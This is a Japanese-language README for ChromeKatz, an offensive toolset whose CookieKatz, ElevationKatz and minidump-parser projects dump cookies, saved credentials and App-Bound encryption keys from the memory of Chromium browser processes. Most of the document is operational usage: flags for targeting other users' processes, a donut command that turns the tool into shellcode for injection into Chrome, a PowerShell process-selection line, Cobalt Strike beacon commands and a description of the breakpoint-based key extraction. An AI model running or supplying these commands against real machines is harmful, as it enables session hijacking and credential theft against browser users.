
Chrome/EdgeプロセスのメモリからCookieと認証情報を直接ダンプする
ChromeKatzは、Chromiumベースのブラウザのメモリから機密情報をダンプするためのソリューションです。 現時点では、ChromeKatzは次の3つのプロジェクトで構成されています:
CookieKatzには、実行ファイル、Beacon Object File、ミニダンプパーサーがあります。また、ElevationKatzには実行ファイルとBeacon Object Fileがあります。
ElevationKatzは、ブラウザのメモリからCookieと認証情報のデータベースを解析し、それらを復号化できるようになりました。
CookieKatzは、Cookieを見つけるためのはるかに堅牢な方法を使用するように完全に刷新されました!新しい方法は古いブラウザバージョンもサポートしています。 関連するブラウザのApp-Bound暗号化を無効化するための新しいフラグ /inject がCookieKatzに実装されました!
私はコーヒーが必要です。そして私の猫たちも必要です!
CookieKatzは、オペレーターがChrome、Edge、またはMsedgewebview2のプロセスメモリから直接Cookieをダンプできるようにするプロジェクトです。 Chromiumベースのブラウザは、起動時にディスク上のCookieデータベースからすべてのCookieを読み込みます。
このアプローチの利点は次のとおりです*:
これらの記述は、一部のブラウザ/アプリケーションでは依然として当てはまります。最新バージョンのChromeでは、プロセスにインジェクションする必要があります。 ... あるいは ElevationKatz を使用
32ビットのブラウザインストールはサポートされておらず、CookieKatzの32ビットビルドもサポートされていません。
現在、通常のCookieのみがダンプされます。ChromiumはPartitioned Cookiesを別の場所に保存するため、現在ダンプには含まれていません。
このソリューションは、PE実行ファイルであるCookieKatz、Beacon Object FileバージョンであるCookieKatz-BOF、そしてミニダンプパーサーであるCookieKatzMinidumpの3つのプロジェクトで構成されています。
注記! PIDを指定してターゲットを選択する場合は、/list または cookie-katz-find コマンドをそれぞれ使用して、適切なサブプロセスを選択してください!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatzを使用すると、オペレーターはブラウザのプロファイル暗号化キーをメモリからダンプして、ユーザーの機密情報にアクセスできるようになります。 これは、新しいブラウザプロセスを一時停止状態で起動し、ブレークポイントを設定して、ブラウザプロセスがエレベーターサービスからキーを受け取った時点でキーをダンプすることで機能します。
このアプローチの利点は次のとおりです:
ElevationKatzは、新しいブラウザプロセスを一時停止状態で起動し、デバッガーをアタッチします。次に、ブラウザのDLLをスキャンして、ブラウザがos_crypt::DecryptAppBoundStringへの呼び出しから戻る命令を見つけ、その直後にブレークポイントを設定します。ブレークポイントがヒットすると、ツールはメモリから暗号化キーをダンプします。
オペレーターが選択できるブレークポイントの種類は、ソフトウェアブレークポイントとハードウェアブレークポイントの2つです。
さらに、HWブレークポイントでは、スレッド列挙の方法としてNtGetNextThreadとCreateToolhelp32Snapshotの2つがサポートされています。SWブレークポイントはスレッド列挙を必要としないため、/tl32フラグは影響しません。
新しいconfigパラメータを使用すると、プロファイルデータベースを自動的に復号化できます。これは、IHack4Falafelの技法を利用して、ブラウザのメモリからCookieおよびLogin Profileデータベースを解析し、ファイルに直接触れることを回避します。
注記 ダンプはHWブレークポイントでのみ機能します。理由は、SWブレークポイントを適切にクリーンアップしてRIPを巻き戻し、プロセスのクラッシュを防ぐ方法がわからなかったからです。
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
私は、CredentialKatzが当初悪用していたバグについてChromiumプロジェクトに報告しましたが、彼らはそれを"Won't fix"としてマークし、資格情報がメモリに残っても構わないと述べました。
ところが、ツールが公開された後、彼らは私が提案したまさにその方法でバグを修正してしまいました :3 https://issues.chromium.org/issues/352085708
ChrokeKatz BOFの最新リリースビルドはここからダウンロードしてください。zipファイルには、コンパイル済みのBOFと、それらを実行するためのCNAスクリプトが含まれています。
両方のプロジェクトは、Visual StudioでReleaseまたはDebug構成、x64プラットフォームを使ってビルドできます。
BOFバージョンは、Cobalt StrikeのVisual Studioテンプレートbof-vsを使用して開発されました。つまり、*-BOFsのDebug構成では、COFFファイルの代わりにexeが生成されます。Visual Studioテンプレートの使用方法については、ここで詳しく読むことができます。
x64 Native Tools Command Prompt for VS 2022でnmakeを使用して、独自のBOFをコンパイルできます:
nmake all